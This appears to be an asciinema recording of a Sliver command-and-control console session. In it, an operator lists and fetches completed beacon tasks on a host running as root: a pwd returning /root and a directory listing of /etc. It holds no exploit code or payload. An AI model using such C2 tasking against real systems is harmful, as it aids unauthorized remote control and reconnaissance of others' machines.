[41.472239, "o", ":46 +0000 2022\r\ndrwxr-xr-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> "]
|
||||
[41.472272, "o", "Tue Apr 25 14:05:13 +0000 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo "]
|
||||
[41.472539, "o", " <dir> Tue Apr 25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.476523, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[41.476952, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[43.195143, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[43.19903, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.205324, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[43.633966, "o", "\u001b[?25l"]
|
||||
[43.639118, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.64733, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.64818, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[43.790363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.799145, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[43.80128, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[43.947953, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.95823, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.959494, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[44.104066, "o", "\u001b[?25l\u001b[107D"]
|
||||
[44.109283, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[44.11694, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[44.191033, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[44.199196, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[44.200362, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[44.475015, "o", "\u001b[36D\u001b[31C"]
|
||||
[44.487286, "o", "\u001b[6n"]
|
||||
[44.490867, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D"]
|
||||
[44.491172, "o", "\r\r\n\u001b[0 q\r\n"]
|
||||
[44.502456, "o", " ID State Message Type Created Sent Completed \r\n========== =========== ============== =============================== =============================== ===============================\r\n"]
|
||||
[44.502842, "o", " 3fb0a3ef \u001b[1m\u001b[32mcompleted\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 415074fa \u001b[1m\u001b[32mcompleted\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 3b339091 \u001b[1m\u001b[32mcompleted\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n\r\n\r\n"]
|
||||
[44.521043, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[44.521239, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[44.521899, "o", "\u001b[6n"]
|
||||
[44.5248, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[44.524934, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[45.138254, "o", "\u001b[?25l\u001b[107D"]
|
||||
[45.140209, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.145196, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.147005, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[45.228832, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[45.229719, "o", "\u001b[6n"]
|
||||
[45.231611, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C"]
|
||||
[45.232616, "o", "\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[45.337194, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.350984, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.35236, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[45.436014, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.447126, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.44806, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[45.525114, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.530111, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[45.718031, "o", "\u001b[1 q"]
|
||||
[45.765101, "o", "\u001b[1 q"]
|
||||
[45.765417, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.768441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[46.15152, "o", "\u001b[?25l\u001b[107D"]
|
||||
[46.153902, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.159136, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.160933, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[46.170095, "o", "\u001b[?25l\u001b[107D"]
|
||||
[46.171199, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.175794, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[46.321279, "o", "\u001b[1 q"]
|
||||
[46.353862, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[46.354607, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.358819, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.359617, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[46.596519, "o", "\u001b[43D\u001b[31C\u001b[6n"]
|
||||
[46.600517, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[46.632537, "o", "\u001b7\u001b[?25l\u001b8"]
|
||||
[46.634912, "o", "\u001b[0G\u001b[2K"]
|
||||
[46.635856, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[46.637993, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[47.960431, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n"]
|
||||
[47.962262, "o", "\u001b[1A\r\u001b[2K"]
|
||||
[47.985035, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3b339091-cb42-4463-a504-dabac76180cd |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | PwdReq |\r\n| Created | Wed, 01 May 2024 18:59:41 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 15 B |\r\n| Response Size | 7 B |\r\n+------------------------------------------------------+\r\n"]
|
||||
[47.986381, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n"]
|
||||
[48.011542, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[48.012525, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[48.015167, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[48.01553, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[49.092126, "o", "\u001b[?25l"]
|
||||
[49.099106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[49.105441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.107241, "o", "\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[49.430117, "o", "\u001b[43D\u001b[31C\u001b[6n"]
|
||||
[49.44589, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[49.447373, "o", "\u001b[0 q\r\n"]
|
||||
[49.470053, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G"]
|
||||
[49.471459, "o", "\u001b[2K"]
|
||||
[49.474782, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[49.476183, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[49.971565, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[49.977007, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[50.26957, "o", "\u001b8"]
|
||||
[50.27137, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[50.272803, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[50.275392, "o", "\u001b[1A\u001b[0G"]
|
||||
[50.809228, "o", "\u001b8\u001b[?25h"]
|
||||
[50.810289, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[50.814212, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[1A\r\u001b[2K"]
|
||||
[50.826934, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3fb0a3ef-b35f-4c5f-911e-4457be4efd9d |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | LsReq |\r\n| Created | Wed, 01 May 2024 18:59:46 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 18 B |\r\n| Response Size | 3.7 KiB |\r\n+------------------------------------------------------+\r\n\r\n"]
|
||||
[50.828139, "o", "/etc (81 items, 260.8 KiB)\r\n==========================\r\n"]
|
||||
[50.833346, "o", "-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <dir> Tue Apr 25 14:06"]
|
||||
[50.833809, "o", ":19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf 2.5 KiB "]
|
||||
[50.833945, "o", "Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.net "]
|
||||
[50.834106, "o", " 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root:root logrotate.d "]
|
||||
[50.834201, "o", " <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\nLrwxrwxrwx root:root "]
|
||||
[50.834272, "o", " os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr"]
|
||||
[50.834339, "o", "-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> Tue Apr 25 14:05:13 +000"]
|
||||
[50.834902, "o", "0 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo <dir> Tue Apr "]
|
||||
[50.834977, "o", "25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n"]
|
||||
[50.850839, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[50.850978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[50.851034, "o", "\u001b[6n"]
|
||||
[50.853243, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[52.794065, "o", "\u001b[?25l"]
|
||||
[52.795694, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[52.811379, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[52.811839, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[52.880998, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[52.883904, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[53.023473, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.02698, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[53.141757, "o", "\u001b[?25l"]
|
||||
[53.142137, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.144837, "o", "\u001b[6n"]
|
||||
